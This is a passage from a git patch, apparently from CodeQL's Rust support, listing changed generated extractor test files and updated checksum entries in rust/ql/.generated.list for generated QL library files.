.../generated/LifetimeArg/gen_lifetime_arg.rs | 7 +- .../LifetimeParam/gen_lifetime_param.rs | 7 +- .../generated/MacroCall/gen_macro_call.rs | 7 +- .../generated/MacroDef/gen_macro_def.rs | 10 +- .../generated/MacroExpr/gen_macro_expr.rs | 6 +- .../generated/MacroPat/gen_macro_pat.rs | 9 +- .../generated/MacroRules/gen_macro_rules.rs | 8 +- .../MacroTypeRepr/gen_macro_type_repr.rs | 7 +- .../MatchArmList/gen_match_arm_list.rs | 11 +- .../generated/MatchGuard/gen_match_guard.rs | 10 +- .../generated/Meta/gen_meta.rs | 7 +- .../generated/Name/gen_name.rs | 7 +- .../generated/NameRef/gen_name_ref.rs | 7 +- .../NeverTypeRepr/gen_never_type_repr.rs | 7 +- .../generated/ParamList/gen_param_list.rs | 7 +- .../generated/ParenExpr/gen_paren_expr.rs | 7 +- .../generated/ParenPat/gen_paren_pat.rs | 7 +- .../ParenTypeRepr/gen_paren_type_repr.rs | 7 +- .../ParenthesizedArgList/MISSING_SOURCE.txt | 4 - .../ParenthesizedArgList.ql | 10 + .../ParenthesizedArgList_getTypeArg.ql | 7 + .../gen_parenthesized_arg_list.rs | 14 + .../generated/Path/gen_path_type_repr.rs | 6 +- .../PtrTypeRepr/gen_ptr_type_repr.rs | 8 +- .../RefTypeRepr/gen_ref_type_repr.rs | 8 +- .../generated/Rename/gen_rename.rs | 7 +- .../generated/RestPat/gen_rest_pat.rs | 7 +- .../RetTypeRepr/gen_ret_type_repr.rs | 7 +- .../gen_return_type_syntax.rs | 17 +- .../SliceTypeRepr/gen_slice_type_repr.rs | 7 +- .../generated/SourceFile/gen_source_file.rs | 7 +- .../generated/Static/gen_static.rs | 6 +- .../generated/StmtList/gen_stmt_list.rs | 10 +- .../generated/Struct/gen_struct.rs | 5 +- .../gen_struct_expr_field_list.rs | 7 +- .../generated/StructField/gen_struct_field.rs | 7 +- .../StructFieldList/gen_struct_field_list.rs | 7 +- .../gen_struct_pat_field_list.rs | 7 +- .../generated/TokenTree/gen_token_tree.rs | 9 +- .../generated/TraitAlias/gen_trait_alias.rs | 6 +- .../generated/TryExpr/gen_try_expr.rs | 7 +- .../generated/TupleField/gen_tuple_field.rs | 7 +- .../TupleFieldList/gen_tuple_field_list.rs | 7 +- .../TupleTypeRepr/gen_tuple_type_repr.rs | 7 +- .../generated/TypeArg/gen_type_arg.rs | 7 +- .../generated/TypeBound/gen_type_bound.rs | 7 +- .../TypeBoundList/gen_type_bound_list.rs | 7 +- .../generated/TypeParam/gen_type_param.rs | 7 +- .../generated/Union/gen_union.rs | 6 +- .../extractor-tests/generated/Use/gen_use.rs | 4 +- .../UseBoundGenericArgs/MISSING_SOURCE.txt | 4 - .../UseBoundGenericArgs.ql | 10 + ...eBoundGenericArgs_getUseBoundGenericArg.ql | 7 + .../gen_use_bound_generic_args.rs | 9 + .../generated/UseTree/gen_use_tree.rs | 2 +- .../UseTreeList/gen_use_tree_list.rs | 7 +- .../generated/Variant/gen_variant.rs | 7 +- .../generated/VariantList/gen_variant_list.rs | 7 +- .../generated/Visibility/gen_visibility.rs | 7 +- .../generated/WhereClause/gen_where_clause.rs | 7 +- .../generated/WherePred/gen_where_pred.rs | 7 +- .../generated/WhileExpr/gen_while_expr.rs | 8 +- 431 files changed, 3484 insertions(+), 1258 deletions(-) create mode 100644 rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmClobberAbi/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs create mode 100644 rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmConst/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs create mode 100644 rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmDirSpec/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs create mode 100644 rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmLabel/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandExpr/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandNamed/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs create mode 100644 rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmOption/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs create mode 100644 rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs create mode 100644 rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs delete mode 100644 rust/ql/test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql create mode 100644 rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql create mode 100644 rust/ql/test/extractor-tests/generated/ParenthesizedArgList/gen_parenthesized_arg_list.rs delete mode 100644 rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql create mode 100644 rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql create mode 100644 rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/gen_use_bound_generic_args.rs diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index e14f2fd1e469..32bc07a9652f 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -1,30 +1,30 @@ -lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll 1032a5729a977b4295648574134c4a700c873d7bc27e159bc39d73673c06b0d8 e124fdc0cd8a64c8f142618d033d93873b928cb0858b212ffb1068457820147c -lib/codeql/rust/elements/Abi.qll 4c973d28b6d628f5959d1f1cc793704572fd0acaae9a97dfce82ff9d73f73476 250f68350180af080f904cd34cb2af481c5c688dc93edf7365fd0ae99855e893 +lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll c103cb9d949d1b5fbfefd94ce57b0461d750aaf87149f6d0ffe73f5ea58b5a74 a8ec5dbb29f6ad5c06ffb451bf67674bdc5747ddad32baebba229f77fc2abe93 +lib/codeql/rust/elements/Abi.qll 485a2e79f6f7bfd1c02a6e795a71e62dede3c3e150149d5f8f18b761253b7208 6159ba175e7ead0dd2e3f2788f49516c306ee11b1a443bd4bdc00b7017d559bd lib/codeql/rust/elements/Addressable.qll 13011bfd2e1556694c3d440cc34af8527da4df49ad92b62f2939d3699ff2cea5 ddb25935f7553a1a384b1abe2e4b4fa90ab50b952dadec32fd867afcb054f4be -lib/codeql/rust/elements/ArgList.qll 661f5100f5d3ef8351452d9058b663a2a5c720eea8cf11bedd628969741486a2 28e424aac01a90fb58cd6f9f83c7e4cf379eea39e636bc0ba07efc818be71c71 +lib/codeql/rust/elements/ArgList.qll 3d2f6f5542340b80a4c6e944ac17aba0d00727588bb66e501453ac0f80c82f83 afd52700bf5a337f19827846667cd0fb1fea5abbbcbc353828e292a727ea58c9 lib/codeql/rust/elements/ArrayExpr.qll e4e7cff3518c50ec908271906dd46c1fbe9098faa1e8cd06a27f0a6e8d165ed1 fe02a4f4197f57ecd1e8e82d6c9384148ec29d8b106d7f696795b2f325e4a71b lib/codeql/rust/elements/ArrayListExpr.qll 451aedcecb479c385ff497588c7a07fda304fd5b873270223a4f2c804e96b245 a8cb008f6f732215623b5626c84b37b651ca01ccafb2cf4c835df35d5140c6ad lib/codeql/rust/elements/ArrayRepeatExpr.qll 4b7ed5be7d2caaf69f6fc0cd05b0e2416c52d547b1a73fb23d5a13007f75f4dd f6366f21cc48376b5fdf37e8c5c2b19415d4cbdeef09f33bb99cde5cb0f5b0e7 -lib/codeql/rust/elements/ArrayTypeRepr.qll 7d5148c9efaf13e6880b327ca426304f7574608a29e6b8a219ed291003cbe1ae 73a297b0307cd014d08ccb3c00fc57b6c115adadee72a0ebb4c01fcae9e47163 -lib/codeql/rust/elements/AsmClobberAbi.qll e6fcfc3d25ab113b73247f28ff89d16ae1c85797fa43f237cb2fa396ca20bdda 898469a38e3270c8d555e0b87b4fb653434f451175b729928ef437120d42bf18 -lib/codeql/rust/elements/AsmConst.qll a73654a7861100f096b92a0167311664e568a0ddcb8c97b6faabb42ad9630e46 e24f8834e2b8143d35aa107cdbffbc91955341f77574d684d8777ef9e673cd3a -lib/codeql/rust/elements/AsmDirSpec.qll 891e5b23287cca1671eddbe1e53f4d44d5692cebb7b599e1490a4e5694264be8 621f0726d5f50c8237e75323af7955785ed996f54c0422d2443fd6c33efa6346 +lib/codeql/rust/elements/ArrayTypeRepr.qll a3e61c99567893aa26c610165696e54d11c16053b6b7122275eff2c778f0a52d 36a487dcb083816b85f3eec181a1f9b47bba012765486e54db61c7ffe9a0fcbf +lib/codeql/rust/elements/AsmClobberAbi.qll 158cb4b2eefa71ea7765a1df6e855015cffea48e9b77276c89ee39a871935f89 feb43771a5dc7da9558af12429011ec89eb515533ef30abd0069f54a3d0c758e +lib/codeql/rust/elements/AsmConst.qll d496390040cf7e2d8f612f79405668178641f5dad5177b2853a508b427e74805 1ab508d55d90e80d74b648a8c0f0a23e3456f5deb858cff1d3f64c04df63b1e2 +lib/codeql/rust/elements/AsmDirSpec.qll f2fcb1812e84b5362d8ebb77c34a36458a52f5b37948e50ea22b1b2fe30c1196 caf2604cfddd0163172e6335411f6a0e6e0d3df6b0a77eb1320a4ab314541fba lib/codeql/rust/elements/AsmExpr.qll 1b0899fb7c0b6478fa102ccd0d30cac25aeca5c81d102158b15353ca498130c8 3802c40b748976c5b6dfd79315452ab34532ba46caf19fa8fbf557968e8fea74 -lib/codeql/rust/elements/AsmLabel.qll 3c8340aa3312c720d43469fab49b9305319e2ead80e5848245fdcaea3a256341 31207d65417fe639c484c814922dedad5aa418ce1e1a097a6c8d7d81290dd498 +lib/codeql/rust/elements/AsmLabel.qll e56c12b0e730b5761c3c4c14f16b93bf7b44fa4e9e5a5d5483e4b17e407e753b 5c36f58ea21e69b7fdacd718dae8ed3e2dd8ae4aa0b0bb3d11c8275580e93bed lib/codeql/rust/elements/AsmOperand.qll 3987a289233fe09f41f20b27939655cc72fa46847969a55cca6d6393f906969a 8810ff2a64f29d1441a449f5fd74bdc1107782172c7a21baaeb48a40930b7d5a -lib/codeql/rust/elements/AsmOperandExpr.qll 5f32dc9d1123797ec9c821d89118ecae729192fb88b5cbfbff385c80c26118d8 0faa6de658ce0d9a016c3213ae6c160c5d62b98b97a665e26b33dbb8860651f8 -lib/codeql/rust/elements/AsmOperandNamed.qll 1c6978e95c7a270024684934eb531695e79e98d8ed46c4e251cf5c93fb5ba316 00f221bcd285c013e0111859205638435bf4a5d062ca7f0cf0bd98501edc7c69 -lib/codeql/rust/elements/AsmOption.qll d3b282f30d33e9d9b531288eef078eeb556cbfa091d63948bcf55bd59273c683 91a1744541af4c7f316ce9ca7607c8537de6386f0fd56381a8cb7c1744c104c3 -lib/codeql/rust/elements/AsmOptionsList.qll c60a3283233433c31a54d2a2e1a7bafe1c5c57ffdf652d9c9d37536334652416 7cdf7344a8d14052c5a132bb4532c70b8878cdfcdc0df0a608c400df5c4683c2 +lib/codeql/rust/elements/AsmOperandExpr.qll 56669c4791f598f20870d36b7954f9c9ed62e5c05045dae6d5eeede461af59e3 195f5563adef36b3876325bd908fed51c257d16d64264ce911425da642555693 +lib/codeql/rust/elements/AsmOperandNamed.qll 40042ce52f87482813b6539b0c49bfa5e35a419325ef593d3e91470d38240e26 497d277e03deab4990fad6128b235cf7fe24d0d523a3b4aaf4d20bcc46a4a4de +lib/codeql/rust/elements/AsmOption.qll 25b1f0e2dacee43eaa38246f654d603889b344eebede7ac91350bc59135c3467 85ba7f8c129441379b1c1fe821c90ab9ccdec2e2d495e143e13aaae2194defa1 +lib/codeql/rust/elements/AsmOptionsList.qll 98a3392da91d34b8e642f6cef1f93d3a2c0aa474044d6bb15c0879f464bfed77 b89d838a41059ad14aec11921173f89d416feb3f0d4e8762d5e65aa105507466 lib/codeql/rust/elements/AsmPiece.qll 8650bf07246fac95533876db66178e4b30ed3210de9487b25acd2da2d145416a 42155a47d5d5e6ea2833127e78059fa81126a602e178084957c7d9ff88c1a9a3 -lib/codeql/rust/elements/AsmRegOperand.qll ebc16804e7f45fd88b99caf8b88d34faa0a860b9dedd32a01377c0cde8bea41a 03ceba863d4b9d6c19d1ef0bd27f782d9c6ccc7ffa8339bd8f27954d55cdc5f5 -lib/codeql/rust/elements/AsmRegSpec.qll fb85fe7dba34ad3694624d504423faec4b4e85fb7469192647d721a3d062c00e 1dee3b1e811984d2ed1b9770ad8588535bd4f28d83eccf013389c93593678ff1 -lib/codeql/rust/elements/AsmSym.qll 3a972dc25565bbd4fd73e0616e487c826e6d926f768f0c76f1e7c00a9db0e55b b15d78540da6f566bab12fa29c1ca4cef11380e9a5578ec70e7c893555b0f333 -lib/codeql/rust/elements/AssocItem.qll 5e514287bbe353d1d637991e7af836e5659ad66922df99af68ab61399e7f8f9a 3733af54938271161ee2720c32ac43228d519b5c46b7cea1e4bbe3dc634f8857 -lib/codeql/rust/elements/AssocItemList.qll ee719e7105a1936e2dd6cda0c55c73ff2704b6461861b2503ed86198484e4c06 de26c8127fd643b8b4567c0ce39511050f7ceefa0075a48a8ad03d50f56a1142 -lib/codeql/rust/elements/AssocTypeArg.qll a01fb46212bed37224841e9aa3909290e720fdaffc7e443cf8a52f6bf7111ff4 9783f77b4983df46f054a18d339107fa17e5f392c360a772811ccf3bb9da32a1 +lib/codeql/rust/elements/AsmRegOperand.qll 6c58d51d1b72a4e2fbbd4a42a7bc40dd4e75ffba45e5c75e5a156b65bc7377e9 824d2e18efda880a15e61cd564f36303230045dec749071861e7ed51e0de9cee +lib/codeql/rust/elements/AsmRegSpec.qll 50b21381211d462fb4c95e5b1499b2b29d0308e993a9f15267d69fbbca89dd3c 60e9b7ce4c272c3a7a4dde39c650746cfea111038eaee89c73336ea3378415da +lib/codeql/rust/elements/AsmSym.qll dfc28fc4a81d5d2b1696ee110468252d7914a30898273bc8900537584af8410d 04f5a3887471193919a9ea1fd810abe50b647e4e29f8bb7fa66658e42393122d +lib/codeql/rust/elements/AssocItem.qll 89e547c3ce2f49b5eb29063c5d9263a52810838a8cfb30b25bee108166be65a1 238fc6f33c18e02ae023af627afa2184fa8e6055d78ab0936bd1b6180bccb699 +lib/codeql/rust/elements/AssocItemList.qll 5d58c018009c00e6aef529b7d1b16161abae54dbf3a41d513a57be3bbda30abf d9b06ef3c1332f4d09e6d4242804396f8664771fa9aaceb6d5b25e193525af3b +lib/codeql/rust/elements/AssocTypeArg.qll 8a0d8939d415f54ce2b6607651ee34ab0375abb8cb512858c718c2b5eee73c5f 68983653e45a7ee612c90bb3738ce4350170ac2f79cf5cda4d0ae59389da480e lib/codeql/rust/elements/AstNode.qll 5ee6355afb1cafd6dfe408b8c21836a1ba2aeb709fb618802aa09f9342646084 dee708f19c1b333cbd9609819db3dfdb48a0c90d26266c380f31357b1e2d6141 -lib/codeql/rust/elements/Attr.qll 53887a49513b95e38344b57d824a7474331467561f1edf38d5ca608d8cefa0cd 2e9eeb32ba6cc186691897979e30d32bc6eaff523e37064ee84cf09ded5afe17 +lib/codeql/rust/elements/Attr.qll 2cb6a6adf1ff9ee40bc37434320d77d74ae41ff10bbd4956414c429039eede36 e85784299917ad8a58f13824b20508f217b379507f9249e6801643cf9628db1e lib/codeql/rust/elements/AwaitExpr.qll d8b37c01f7d27f0ec40d92a533a8f09a06af7ece1ae832b4ea8f2450c1762511 92cdb7ff0efddf26bed2b7b2729fddd197e26c1a11c8fec0c747aab642710c21 lib/codeql/rust/elements/BecomeExpr.qll 7a3cfc4894feb6be1cde664f675b18936434e68ccea52e55314c33d01491e34f 49666eca509b30d44bb02702bda67239c76bf8d9f231022c9cf6ecca123f8616 lib/codeql/rust/elements/BinaryExpr.qll 394522da3bc3a716fc7bc40c3560143ca840f5d210cfcba2a752c3026dd0f725 fbbd6fb79bf16a7d9820613654c584cd7ff3e7a29988f3920b6cfbe746acfd8d @@ -35,203 +35,203 @@ lib/codeql/rust/elements/CallExpr.qll f336500ca7a611b164d48b90e80edb0c0d3816792b lib/codeql/rust/elements/CallExprBase.qll 2846202b5208b541977500286951d96487bf555838c6c16cdd006a71e383745a c789d412bf099c624329379e0c7d94fa0d23ae2edea7a25a2ea0f3c0042ccf62 lib/codeql/rust/elements/Callable.qll e1ed21a7e6bd2426f6ccd0e46cee506d8ebf90a6fdc4dca0979157da439853aa 02f6c09710116ce82157aec9a5ec706983c38e4d85cc631327baf8d409b018c6 lib/codeql/rust/elements/CastExpr.qll 2fe1f36ba31fa29de309baf0a665cfcae67b61c73345e8f9bbd41e8c235fec45 c5b4c1e9dc24eb2357799defcb2df25989075e3a80e8663b74204a1c1b70e29a -lib/codeql/rust/elements/ClosureBinder.qll 977df800f97cc9b03fffb5e5e1fc6acd08a2938e04cb6ad91108784a15b0d510 f6fad4127226fe1dff2f16416d8a7fde5d8ab4a88f30e443ac5e5ff618de3e05 +lib/codeql/rust/elements/ClosureBinder.qll 3788b58696a73e3a763f4a5b86b7fdce06b1ccf6bc67cc8001092e752accdc9a 8d0d30739024a7cb5a60927042e2750113d660de36771797450baaadb5c1e95e lib/codeql/rust/elements/ClosureExpr.qll 67e2a106e9154c90367b129987e574d2a9ecf5b297536627e43706675d35eaed d6a381132ddd589c5a7ce174f50f9620041ddf690e15a65ebfb05ff7e7c02de7 lib/codeql/rust/elements/Comment.qll fedad50575125e9a64a8a8776a8c1dbf1e76df990f01849d9f0955f9d74cb2a6 8eb1afad1e1007a4f0090fdac65d81726b23eda6517d067fd0185f70f17635ab -lib/codeql/rust/elements/Const.qll bf6c62e79da145aa50ee9d24278510c3762cad921bfe76684b20fac4895653ef 31df5752216725a88d53cfc4a1432fa6cdc39251a8560d695135c55185ab22dd -lib/codeql/rust/elements/ConstArg.qll f37b34417503bbd2f3ce09b3211d8fa71f6a954970c2738c73be6c55f204e58e 15ef5e189b67cfdfe4d16909e0b411ac8fdd4ef187c328bdede03a1a5e416b54 +lib/codeql/rust/elements/Const.qll 8b9c66b59d9469a78b2c696b6e37d915a25f9dd215c0b79b113dc7d34adca9e3 7b8213bf21403a1f8b78ea6a20b716f312b26fee5526111602482a2e985e8ac5 +lib/codeql/rust/elements/ConstArg.qll 01865b3be4790c627a062c59ea608462931abcb2f94a132cf265318664fd1251 a2c6bbf63dbfa999e511b6941143a51c9392477d8ccd25e081f85475936ff558 lib/codeql/rust/elements/ConstBlockPat.qll a25f42b84dbeb33e10955735ef53b8bb7e3258522d6d1a9068f19adaf1af89d9 eeb816d2b54db77a1e7bb70e90b68d040a0cd44e9d44455a223311c3615c5e6e -lib/codeql/rust/elements/ConstParam.qll 248db1e3abef6943326c42478a15f148f8cdaa25649ef5578064b15924c53351 28babba3aea28a65c3fe3b3db6cb9c86f70d7391e9d6ef9188eb2e4513072f9f +lib/codeql/rust/elements/ConstParam.qll 87776586f7ff562ff3c71373f45cf70486f9a832613a0aaac943311c451cc057 67a31616688106d5130951f2162e5229bff0fde08ff647943663cac427d7048b lib/codeql/rust/elements/ContinueExpr.qll 9f27c5d5c819ad0ebc5bd10967ba8d33a9dc95b9aae278fcfb1fcf9216bda79c 0dc061445a6b89854fdce92aaf022fdc76b724511a50bb777496ce75c9ecb262 lib/codeql/rust/elements/Crate.qll 1426960e6f36195e42ea5ea321405c1a72fccd40cd6c0a33673c321c20302d8d 1571a89f89dab43c5291b71386de7aadf52730755ba10f9d696db9ad2f760aff -lib/codeql/rust/elements/DynTraitTypeRepr.qll 5953263ec1e77613170c13b5259b22a71c206a7e08841d2fa1a0b373b4014483 d4380c6cc460687dcd8598df27cad954ef4f508f1117a82460d15d295a7b64ab +lib/codeql/rust/elements/DynTraitTypeRepr.qll e4d27112d27ae93c621defd2c976fd4e90663ab7f6115e83ae4fe8106cb5e015 eb9fde89698588f3b7116f62388c54e937f99559b22c93d11a5596e754560072 lib/codeql/rust/elements/Element.qll 0b62d139fef54ed2cf2e2334806aa9bfbc036c9c2085d558f15a42cc3fa84c48 24b999b93df79383ef27ede46e38da752868c88a07fe35fcff5d526684ba7294 -lib/codeql/rust/elements/Enum.qll 2f122b042519d55e221fceac72fce24b30d4caf1947b25e9b68ee4a2095deb11 83a47445145e4fda8c3631db602a42dbb7a431f259eddf5c09dccd86f6abdd0e +lib/codeql/rust/elements/Enum.qll accb97d0bd8c0f41df873d41886f606b6ae4cd1ffa38b70fe9504cfb89d0bd7d b456103ac992e384165d151eb0f169499be4961c3ec35b94a32201b5e4e22189 lib/codeql/rust/elements/Expr.qll e5d65e805ccf440d64d331e55df4c4144ab8c8f63f367382494714087659ffe8 2bbc1e5d3a65f413ec33d9822fa451fbdbe32349158db58cc0bfcfafb0e21bda lib/codeql/rust/elements/ExprStmt.qll 00ac4c7d0192b9e8b0f28d5ae59c27729ff5a831ca11938ea3e677a262337a64 7cc02aa5346cd7c50d75ca63cd6501097b0a3979eb2ed838adff114fe17d35a3 -lib/codeql/rust/elements/ExternBlock.qll 23d7ca86ad0366cfb0c5300a6e205f1fe59eebcb1b18dd5b6ea7fdba3830ca68 c718eed50d4d55b67e9cfcebee018b8e6f9b783f2b2f0e21c5785ead0f11f5b6 -lib/codeql/rust/elements/ExternCrate.qll 54e93a9ec560d72dc0f0269b42b237f21abbf37023492e657f048764d70b0734 fc5bb6f255f5293fd4f56cd14d5ce0ae781abff28c1f984101c38e15f82405df -lib/codeql/rust/elements/ExternItem.qll c39bbae40fa569d3d84a10045d7eeced3db85e6cb7147f7a7065c5b484f890a1 bc56d6db3d05dbc552927d004328fbe399960711c920ef6b47f6faaa1a541183 -lib/codeql/rust/elements/ExternItemList.qll bc96f188970e8dc0cd1e77dea3e49b715edf6392539add5744cb1b396064a3b0 d1270d50448b36947372e86337a3efb5ed416c77aac709f6421d4d2f06999a7a +lib/codeql/rust/elements/ExternBlock.qll 96c70d0761ec385fe17aa7228e15fd1711949d5abba5877a1c2f4c180d202125 38ad458868a368d437b2dda44307d788a85c887f45ea76c99adbfc9a53f14d81 +lib/codeql/rust/elements/ExternCrate.qll 776cf8ef7e6611ebb682f20bb8cf47b24cc8fe08ba0b0cf892c19c95a1ecec3e 1a74eb2974d93c1a8beb9a4f5e3432bb50b6bcdd6e450d1f966534edbdff9cd0 +lib/codeql/rust/elements/ExternItem.qll 0d895c2c37f64237b23542a84033fed81a23d732e1cb8c109aa18ecde67bf959 56087151b9461253a6ecc50e165c7e32eca70af334bfc1b884a230302721c2b3 +lib/codeql/rust/elements/ExternItemList.qll eceb0fcd3a6f9d87fa044da1da112ce96b75c8e0f0897d51e44c5822a3e430dc 2255f1121d7cec4e29401ad08b728f02a920a82da48f16b6bb86c5056775be31 lib/codeql/rust/elements/FieldExpr.qll 8102cd659f9059cf6af2a22033cfcd2aae9c35204b86f7d219a05f1f8de54b3b f818169dddf5102095ae1410583615f80031376a08b5307d0c464e79953c3975 -lib/codeql/rust/elements/FieldList.qll 7c0a34860ed0929e93ced5486045a0573b90a8b7603558fe098e03c105fba92f 6e81a2004e3dca49942c889a7f49c8b3ce3061546fbdc21aa536a8a18e1151f0 -lib/codeql/rust/elements/FnPtrTypeRepr.qll 25a88a8445b4abfaf7c95fcef03db5328aa81e35cebe56516bdda01380f0a69e 0a77d08b6b2d63e7a037f366b6dffd5006e975a8af2424af60a4f9ad74d441ba -lib/codeql/rust/elements/ForExpr.qll 0cc8bfe10b8baf62a1ff65c8463cfb17ab64b41c30c9e1edb962a227df2036d9 b1be73294e6da0f49fd32177ad0b05fecf26081d5ce424f288be99a4bd59cc84 -lib/codeql/rust/elements/ForTypeRepr.qll dc4e00cd23606df93d753f2ca6862b55a10c722a7e952bb2e11b494738d2a3d2 ca169d2faca3baab3720086f7b2de5c26f55faf2dbab958298377ad65f73949b +lib/codeql/rust/elements/FieldList.qll 72f3eace2f0c0600b1ad059819ae756f1feccd15562e0449a3f039a680365462 50e4c01df7b801613688b06bb47ccc36e6c8c7fa2e50cc62cb4705c9abf5ee31 +lib/codeql/rust/elements/FnPtrTypeRepr.qll d4586ac5ee2382b5ef9daafa77c7b3c1b7564647aa20d1efb1626299cde87ba9 48d9b63725c9cd89d79f9806fa5d5f22d7815e70bbd78d8da40a2359ac53fef5 +lib/codeql/rust/elements/ForExpr.qll a050f60cf6fcc3ce66f5042be1b8096e5207fe2674d7477f9e299091ca99a4bd d7198495139649778894e930163add2d16b5588dd12bd6e094a9aec6863cb16f +lib/codeql/rust/elements/ForTypeRepr.qll 187a00c390ff37a1590b6f873b80727bb898ad2d843f0ad5465b8c71df8377a3 89957623e802ae54e8bc24d2ab95a7df9fa8aafd17b601fc8d4cc33ae45a6d86 lib/codeql/rust/elements/Format.qll 1b186730710e7e29ea47594998f0b359ad308927f84841adae0c0cb35fc8aeda d6f7bfdda60a529fb9e9a1975628d5bd11aa28a45e295c7526692ac662fd19f8 lib/codeql/rust/elements/FormatArgsArg.qll a2c23cd512d44dd60b7d65eba52cc3adf6e2fbbcd0588be375daa16002cd7741 d9c5fe183fb228375223d83f857b7a9ee686f1d3e341bcf323d7c6f39652f88b lib/codeql/rust/elements/FormatArgsExpr.qll 8127cbe4082f7acc3d8a05298c2c9bea302519b8a6cd2d158a83c516d18fc487 88cf9b3bedd69a1150968f9a465c904bbb6805da0e0b90cfd1fc0dab1f6d9319 lib/codeql/rust/elements/FormatArgument.qll f6fe17ee1481c353dd42edae8b5fa79aeb99dff25b4842ec9a6f267b1837d1e3 5aed19c2daf2383b89ad7fd527375641cff26ddee7afddb89bc0d18d520f4034 lib/codeql/rust/elements/FormatTemplateVariableAccess.qll ff3218a1dda30c232d0ecd9d1c60bbb9f3973456ef0bee1d1a12ad14b1e082b5 e4316291c939800d8b34d477d92be9404a30d52b7eee37302aef3d3205cf4ae0 lib/codeql/rust/elements/Function.qll 61fafe4bc91c997e9fb64f2770fc6682d333c61df3283fac58163df14a500430 ca7cb756942ccd01f961f3e959c7fddabeaabb72c4226ca756a6a30a4b1a4c48 -lib/codeql/rust/elements/GenericArg.qll 5f11ce0e3c5f08de84db61f56ba1b984652455ba6b95a8b8a5b5a235913d4072 756b6a73d66fde45bdcc65ce2362a5b1391af2927e6d54b6550b3ecd5fd11e75 +lib/codeql/rust/elements/GenericArg.qll 5f8666af395208f8ad2044063788fa2c0c317cc0201d1ffc8c6ade62da82867c 174025826d3f4d6bf714be043acfea323701988bae134bd5a8b908b1ba1d3850 lib/codeql/rust/elements/GenericArgList.qll dcf274db517b0e8f19e4545d77f86cdd4066ff2805e68c808d0bb5750b49f569 